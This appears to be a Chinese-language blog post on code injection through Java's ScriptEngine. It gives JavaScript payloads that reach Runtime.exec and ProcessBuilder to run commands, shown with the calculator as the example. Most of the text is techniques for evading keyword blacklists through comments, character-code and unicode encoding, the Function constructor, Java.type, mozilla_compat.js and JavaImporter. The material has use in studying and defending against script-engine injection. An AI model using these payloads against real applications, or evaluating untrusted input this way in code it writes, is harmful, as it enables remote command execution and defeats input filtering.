javax.script.ScriptEngine类是java自带的用于解析并执行js代码
package cn.itcast.jdbc;
import javax.script.ScriptEngine;
import javax.script.ScriptEngineManager;
import javax.script.ScriptException;
public class test {
public static void main(String[] argv) throws ScriptException {
String str = "function test(){print('Hello World')};test();";
ScriptEngineManager manager = new ScriptEngineManager(null);
ScriptEngine engine = manager.getEngineByName("js");
engine.eval(str);
}
}
以上代码会输出Hello World
scriptEngine支持执行java代码。那就可以在javascript中执行java代码
String str = "function test(){ return java.lang.Runtime};r=test();r.getRuntime().exec(\"calc\")";
如上。可以成功弹出计算器
如果遇到关键字检测。还可以用注释和空格绕过,但是这里只能在类名.方法中间使用
String str = "function test(){ return java.lang./****/Runtime};r=test();r.getRuntime().exec(\"calc\")";
或者。可以利用js的一些姿势。去绕过关键字。比如ascii码。16进制。unicode。都是可以的
String str = "function test(a){ return eval(a)};test(String.fromCharCode(106,97,118,97,46,108,97,110,103,46,82,117,110,116,105,109,101,46,103,101,116,82,117,110,116,105,109,101,40,41,46,101,120,101,99,40,39,99,97,108,99,39,41))";
然而这里需要eval才能执行。如果黑名单一检测。就无了
利用匿名函数
var x=Function/**/('return(new java.lang.ProcessBuilder)')(); x.command("calc"); x.start(); var a = mainOutput(); function mainOutput() {};
但是这个也存在Function这个检测点。其他都很容易绕。字符拼接就完事了
s="\u0072\u0065\u0074\u0075\u0072\u006e\u0028\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u002e\u0067\u0065\u0074\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u0028\u0029\u002e\u0065\u0078\u0065\u0063\u0028\u0022\u0063\u0061\u006c\u0063\u0022\u0029\u0029";var x=Function/*//*/(s)();
综上所述。可以总结成这样
不太熟悉js。。应该还有更骚的姿势
在java1.8之前。javascript解析引擎是基于Rhino
在java1.8之后。javascript解析引擎是基于Oracle Nashorn
这个Oracle Nashorn引擎也有一些新特性
Java全局对象。Nashorn定义了个新的全局对象java。
可以用于获取类
String test = "var test=Java.type(\"java.lang.Runtime\"); print(test.getRuntime().exec(\"calc\"))";
Rhino是Nashorn的前身。所以支持加载第三方javascript文件。
load(\"nashorn:mozilla_compat.js\");importClass(java.lang.Runtime);var x=Runtime.getRuntime().exec(\"calc\")
JavaImporter将可变参数作为Java程序包,返回对象
var CollectionsAndFiles = new JavaImporter(java.lang);with (CollectionsAndFiles){var x= Runtime.getRuntime().exec(\"calc\")}